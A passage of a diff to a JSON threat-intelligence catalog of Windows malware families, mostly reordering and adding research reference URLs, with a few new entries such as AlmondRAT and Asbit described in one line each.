"https://www.inde.nz/blog/inside-agenttesla", - "https://threatresearch.ext.hp.com/aggah-campaigns-latest-tactics-victimology-powerpoint-dropper-and-cryptocurrency-stealer/", - "https://malgamy.github.io/malware-analysis/Deep-Analysis-Agent-Tesla/", - "https://blog.minerva-labs.com/preventing-agenttesla", - "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", "https://malwatch.github.io/posts/agent-tesla-malware-analysis/", - "https://isc.sans.edu/forums/diary/AgentTesla+Delivered+via+a+Malicious+PowerPoint+AddIn/26162/", - "https://researchcenter.paloaltonetworks.com/2017/09/unit42-analyzing-various-layers-agentteslas-packing/", - "https://blog.malwarebytes.com/threat-intelligence/2022/05/nigerian-tesla-419-scammer-gone-malware-distributor-unmasked/", - "https://www.vmray.com/cyber-security-blog/threat-bulletin-agent-tesla/", - "https://forensicitguy.github.io/a-tale-of-two-dropper-scripts/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://blog.malwarelab.pl/posts/basfu_aggah/", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-1/", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://isc.sans.edu/forums/diary/PowerPoint+attachments+Agent+Tesla+and+code+reuse+in+malware/28154/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-many-roads-leading-to-agent-tesla/", - "https://blogs.juniper.net/en-us/security/aggah-malware-campaign-expands-to-zendesk-and-github-to-host-its-malware", - "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", - "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", + "https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/", + "https://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr", + "https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html", "https://isc.sans.edu/diary/27088", - "https://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-analyzing-various-layers-agentteslas-packing/", + "https://community.riskiq.com/article/40000d46", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://www.netskope.com/blog/infected-powerpoint-files-using-cloud-services-to-deliver-multiple-malware", + "http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/", + "https://www.vmray.com/cyber-security-blog/threat-bulletin-agent-tesla/", "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", - "https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine", - "https://blog.malwarebytes.com/cybercrime/2020/04/new-agenttesla-variant-steals-wifi-credentials/", - "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", + "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://mp.weixin.qq.com/s/X0kAIHOSldiFDthb4IsmbQ", - "https://malwarebreakdown.com/2018/01/11/malspam-entitled-invoice-attched-for-your-reference-delivers-agent-tesla-keylogger/", - "https://asec.ahnlab.com/ko/29133/", - "https://twitter.com/MsftSecIntel/status/1392219299696152578", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://malwr-analysis.com/2020/04/05/trojan-agent-tesla-malware-analysis/", - "https://guillaumeorlando.github.io/AgentTesla", - "http://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://www.lac.co.jp/lacwatch/report/20220307_002893.html", "https://cofense.com/strategic-analysis-agent-tesla-expands-targeting-and-networking-capabilities/", - "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/", - "https://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://malwarebookreports.com/agent-teslaggah/", - "http://blog.nsfocus.net/sweed-611/", - "https://www.fortinet.com/blog/threat-research/fake-purchase-order-used-to-deliver-agent-tesla" + "https://guillaumeorlando.github.io/GorgonInfectionchain", + "https://malwr-analysis.com/2020/04/05/trojan-agent-tesla-malware-analysis/", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" ], "synonyms": [ "AgenTesla", @@ -10919,8 +11389,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.albaniiutas", "https://insight-jp.nttsecurity.com/post/102gkfp/pandas-new-arsenal-part-2-albaniiutas", - "https://blog.group-ib.com/task", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/" + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", + "https://blog.group-ib.com/task" ], "synonyms": [ "BlueTraveller" @@ -10980,14 +11451,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alina_pos", - "https://blog.centurylink.com/alina-point-of-sale-malware-still-lurking-in-dns/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", "http://www.xylibox.com/2013/02/alina-34-pos-malware.html", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina-POS-malware--sparks--off-a-new-variant/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/two-new-pos-malware-affecting-us-smbs/", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Casting-a-Shadow-on-POS/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-2/", "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-1/", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-2/" + "https://blog.centurylink.com/alina-point-of-sale-malware-still-lurking-in-dns/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina-POS-malware--sparks--off-a-new-variant/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Casting-a-Shadow-on-POS/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/two-new-pos-malware-affecting-us-smbs/" ], "synonyms": [ "alina_eagle", @@ -11004,12 +11475,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.allakore", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://twitter.com/_re_fox/status/1212070711206064131", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", "https://github.com/Anderson-D/AllaKore", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", "https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf", "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", "https://blog.talosintelligence.com/2021/07/sidecopy.html" @@ -11054,8 +11525,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_communicator", - "https://researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/", - "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/" + "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/" ], "synonyms": [], "type": [] @@ -11075,6 +11546,19 @@ "uuid": "b5138914-6c2b-4c8e-b182-d94973fe5a6b", "value": "AlmaLocker" }, + { + "description": "AlmondRAT is a .NET Remote Access Trojan deployed by the Bitter APT group. It is capable of collecting system information, modifying and exfiltrating data and allows for remote command execution.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.almondrat", + "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c5fa22fd-5869-4a4d-b5fc-c3be18255d2e", + "value": "AlmondRAT" + }, { "description": "", "meta": { @@ -11119,8 +11603,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc", - "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group", - "https://www.secureworks.com/research/threat-profiles/nickel-gladstone" + "https://www.secureworks.com/research/threat-profiles/nickel-gladstone", + "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group" ], "synonyms": [], "type": [] @@ -11146,14 +11630,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon", - "http://contagiodump.blogspot.com/2012/02/purple-haze-bootkit.html", - "http://contagiodump.blogspot.com/2010/02/list-of-aurora-hydraq-roarur-files.html", "https://archive.f-secure.com/weblog/archives/The_Case_of__TDL3.pdf", - "https://www.johannesbader.ch/2016/01/the-dga-in-alureon-dnschanger/", - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj64_wowlik.vt", - "https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/", "http://contagiodump.blogspot.com/2011/02/tdss-tdl-4-alureon-32-bit-and-64-bit.html", - "https://www.youtube.com/watch?v=FttiysUZmDw" + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj64_wowlik.vt", + "http://contagiodump.blogspot.com/2010/02/list-of-aurora-hydraq-roarur-files.html", + "http://contagiodump.blogspot.com/2012/02/purple-haze-bootkit.html", + "https://www.youtube.com/watch?v=FttiysUZmDw", + "https://www.johannesbader.ch/2016/01/the-dga-in-alureon-dnschanger/", + "https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/" ], "synonyms": [ "Olmarik", @@ -11172,26 +11656,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey", - "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", - "https://twitter.com/ViriBack/status/1062405363457118210", - "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-strings-in-amadey-1-09/", - "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", - "https://medium.com/walmartglobaltech/amadey-stealer-plugin-adds-mikrotik-and-outlook-harvesting-518efe724ce4", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", - "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", - "https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/", - "https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot", - "https://nao-sec.org/2019/04/Analyzing-amadey.html", - "https://isc.sans.edu/diary/27264", - "https://www.anquanke.com/post/id/230116", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://twitter.com/0xffff0800/status/1062948406266642432", + "https://www.anquanke.com/post/id/230116", + "https://nao-sec.org/2019/04/Analyzing-amadey.html", + "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", + "https://twitter.com/ViriBack/status/1062405363457118210", + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-strings-in-amadey-1-09/", + "https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", + "https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/", + "https://medium.com/walmartglobaltech/amadey-stealer-plugin-adds-mikrotik-and-outlook-harvesting-518efe724ce4", + "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", - 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"https://byte-atlas.blogspot.ch/2015/04/kf-andromeda-bruteforcing.html" + "https://byte-atlas.blogspot.ch/2015/04/kf-andromeda-bruteforcing.html", + "https://www.crowdstrike.com/blog/how-to-remediate-hidden-malware-real-time-response/", + "https://www.europol.europa.eu/newsroom/news/andromeda-botnet-dismantled-in-international-cyber-operation", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://blogs.technet.microsoft.com/mmpc/2017/12/04/microsoft-teams-up-with-law-enforcement-and-other-partners-to-disrupt-gamarue-andromeda/", + "http://blog.morphisec.com/andromeda-tactics-analyzed", + "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" ], "synonyms": [ "B106-Gamarue", @@ -11314,16 +11801,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromut", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.proofpoint.com/us/threat-insight/post/ta505-begins-summer-campaigns-new-pet-malware-downloader-andromut-uae-south", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://documents.trendmicro.com/assets/Tech-Brief-Latest-Spam-Campaigns-from-TA505-Now-Using-New-Malware-Tools-Gelup-and-FlowerPippi.pdf", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://intel471.com/blog/a-brief-history-of-ta505", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - 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"https://cyberpunkleigh.wordpress.com/2021/05/27/apostle-ransomware-analysis/" + "https://cyberpunkleigh.wordpress.com/2021/05/27/apostle-ransomware-analysis/", + "https://assets.sentinelone.com/sentinellabs/evol-agrius", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://www.sentinelone.com/wp-content/uploads/2021/05/SentinelLabs_From-Wiper-to-Ransomware-The-Evolution-of-Agrius.pdf" ], "synonyms": [], "type": [] @@ -11465,18 +11954,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.applejeus", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", + "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "https://www.telsy.com/download/5394/?uid=28b0a4577e", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c", "https://www.vkremez.com/2019/10/lets-learn-dissecting-lazarus-windows.html", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", - "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", - "https://twitter.com/VK_Intel/status/1182730637016481793", - "https://www.telsy.com/download/5394/?uid=28b0a4577e" + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a", + "https://twitter.com/VK_Intel/status/1182730637016481793" ], "synonyms": [], "type": [] @@ -11489,21 +11978,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.appleseed", - "https://asec.ahnlab.com/ko/26705/", - "https://www.youtube.com/watch?v=rfzmHjZX70s", - "https://www.telsy.com/download/5654/?uid=4869868efd", - "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2652.pdf", - "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2651.pdf", - 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"https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf" + "https://www.telsy.com/download/5654/?uid=4869868efd", + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", + "https://www.youtube.com/watch?v=rfzmHjZX70s", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/", + "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", + "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2651.pdf", + "https://asec.ahnlab.com/en/30532/", + "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2652.pdf", + "https://asec.ahnlab.com/ko/26705/", + "https://asec.ahnlab.com/ko/36918/" ], "synonyms": [ "JamBog" @@ -11540,6 +12030,20 @@ "uuid": "bf135b0a-3120-42c4-ba58-c80f9ef689bf", "value": "Arefty" }, + { + "description": "Malware derived from the source code of win.kronos.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ares", + "https://www.zscaler.com/blogs/security-research/ares-malware-grandson-kronos-banking-trojan", + "https://www.zscaler.com/blogs/security-research/ares-banking-trojan-learns-old-tricks-adds-defunct-qakbot-dga" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a711ad02-0120-41a1-8c03-8a857a7dc297", + "value": "Ares (Windows)" + }, { "description": "During a campaign against a Ukrainian energy provider, a new loader of a new version of CaddyWiper called \"ArguePatch\" was observed by ESET researchers. ArguePatch is a modified version of Hex-Ray's Remote Debugger Server (win32_remote.exe).\r\nArguePatch expects a decryption key and the file of the CaddyWiper shellcode as command line parameters.", "meta": { @@ -11559,8 +12063,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ariabody", "https://medium.com/insomniacs/aria-body-loader-is-that-you-53bdd630f8a1", - "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", - "https://securelist.com/naikons-aria/96899/" + "https://securelist.com/it-threat-evolution-q2-2020/98230", + "https://securelist.com/naikons-aria/96899/", + "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/" ], "synonyms": [], "type": [] @@ -11573,8 +12078,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.aridgopher", - "https://www.theregister.com/2022/03/22/arid-gopher-malware-deep-instinct/", - "https://www.deepinstinct.com/blog/arid-gopher-the-newest-micropsia-malware-variant" + "https://www.deepinstinct.com/blog/arid-gopher-the-newest-micropsia-malware-variant", + "https://www.theregister.com/2022/03/22/arid-gopher-malware-deep-instinct/" ], "synonyms": [], "type": [] @@ -11615,13 +12120,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer", - "https://forensicitguy.github.io/analyzing-stealer-msi-using-msitools/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", "https://blogs.blackberry.com/en/2022/02/threat-thursday-arkei-infostealer", + "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", "https://blog.minerva-labs.com/a-long-list-of-arkei-stealers-browser-crypto-wallets", + "https://forensicitguy.github.io/analyzing-stealer-msi-using-msitools/", "https://www.bleepingcomputer.com/news/security/hacker-breaches-syscoin-github-account-and-poisons-official-client/", - "https://isc.sans.edu/diary/rss/28468", - "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/" + "https://ke-la.com/information-stealers-a-new-landscape/", + "https://isc.sans.edu/diary/rss/28468" ], "synonyms": [ "ArkeiStealer" @@ -11636,8 +12142,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ars_loader", - "https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/", "https://twitter.com/Racco42/status/1001374490339790849", + "https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/", "https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/" ], "synonyms": [], @@ -11651,8 +12157,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.artfulpie", - "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/", - "https://www.us-cert.gov/ncas/analysis-reports/ar20-045e" + "https://www.us-cert.gov/ncas/analysis-reports/ar20-045e", + "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/" ], "synonyms": [], "type": [] @@ -11665,11 +12171,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.artra", - "https://www.freebuf.com/articles/database/192726.html", - "https://securelist.com/apt-trends-report-q1-2021/101967/", - "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", + "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/", "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english", + "https://www.freebuf.com/articles/database/192726.html", + "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", + "https://securelist.com/apt-trends-report-q1-2021/101967/", "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/" ], "synonyms": [], @@ -11678,6 +12185,19 @@ "uuid": "05de9c50-5958-4d02-b1a0-c4a2367c2d22", "value": "Artra Downloader" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.asbit", + "https://blogs.juniper.net/en-us/threat-research/asbit-an-emerging-remote-desktop-trojan" + ], + "synonyms": [], + "type": [] + }, + "uuid": "488b735f-9138-4970-9d20-77132f4a82d6", + "value": "Asbit" + }, { "description": "", "meta": { @@ -11707,8 +12227,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox", - "https://researchcenter.paloaltonetworks.com/2015/08/whats-next-in-malware-after-kuluoz/", "https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign", + "https://researchcenter.paloaltonetworks.com/2015/08/whats-next-in-malware-after-kuluoz/", "http://oalabs.openanalysis.net/2014/12/04/inside-the-new-asprox-kuluoz-october-2013-january-2014/" ], "synonyms": [ @@ -11740,19 +12260,20 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.astaroth", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://isc.sans.edu/diary/Brazil+malspam+pushes+Astaroth+%28Guildma%29+malware/28962", + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", + "https://www.microsoft.com/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/", + "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", + "https://blog.easysol.net/meet-lucifer-international-trojan/", "https://labs.f-secure.com/blog/attack-detection-fundamentals-code-execution-and-persistence-lab-1/", "https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/", - "https://www.microsoft.com/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/", - "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", - "https://isc.sans.edu/diary/27482", - "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", - "https://blog.talosintelligence.com/2020/05/astaroth-analysis.html", - "https://github.com/pan-unit42/tweets/blob/master/2022-01-17-IOCs-for-Astaroth-Guildma-infection.txt", - "https://blog.easysol.net/meet-lucifer-international-trojan/", "https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/", - "https://www.armor.com/resources/threat-intelligence/astaroth-banking-trojan/", - "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html" + "https://blog.talosintelligence.com/2020/05/astaroth-analysis.html", + "https://isc.sans.edu/diary/27482", + "https://github.com/pan-unit42/tweets/blob/master/2022-01-17-IOCs-for-Astaroth-Guildma-infection.txt", + "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "https://www.armor.com/resources/threat-intelligence/astaroth-banking-trojan/" ], "synonyms": [ "Guildma" @@ -11767,6 +12288,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.astralocker", + "https://www.emsisoft.com/ransomware-decryption-tools/astralocker", + "https://www.bleepingcomputer.com/news/security/astralocker-ransomware-shuts-down-and-releases-decryptors/", + "https://blog.malwarebytes.com/ransomware/2022/07/astralocker-2-0-ransomware-isnt-going-to-give-you-your-files-back/", "https://blog.reversinglabs.com/blog/smash-and-grab-astralocker-2-pushes-ransomware-direct-from-office-docs" ], "synonyms": [], @@ -11780,67 +12304,77 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat", - "https://jstnk9.github.io/jstnk9/research/AsyncRAT-Analysis/", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", - "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", - "https://blogs.vmware.com/security/2019/11/threat-analysis-unit-tau-threat-intelligence-notification-asyncrat.html", - "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", - 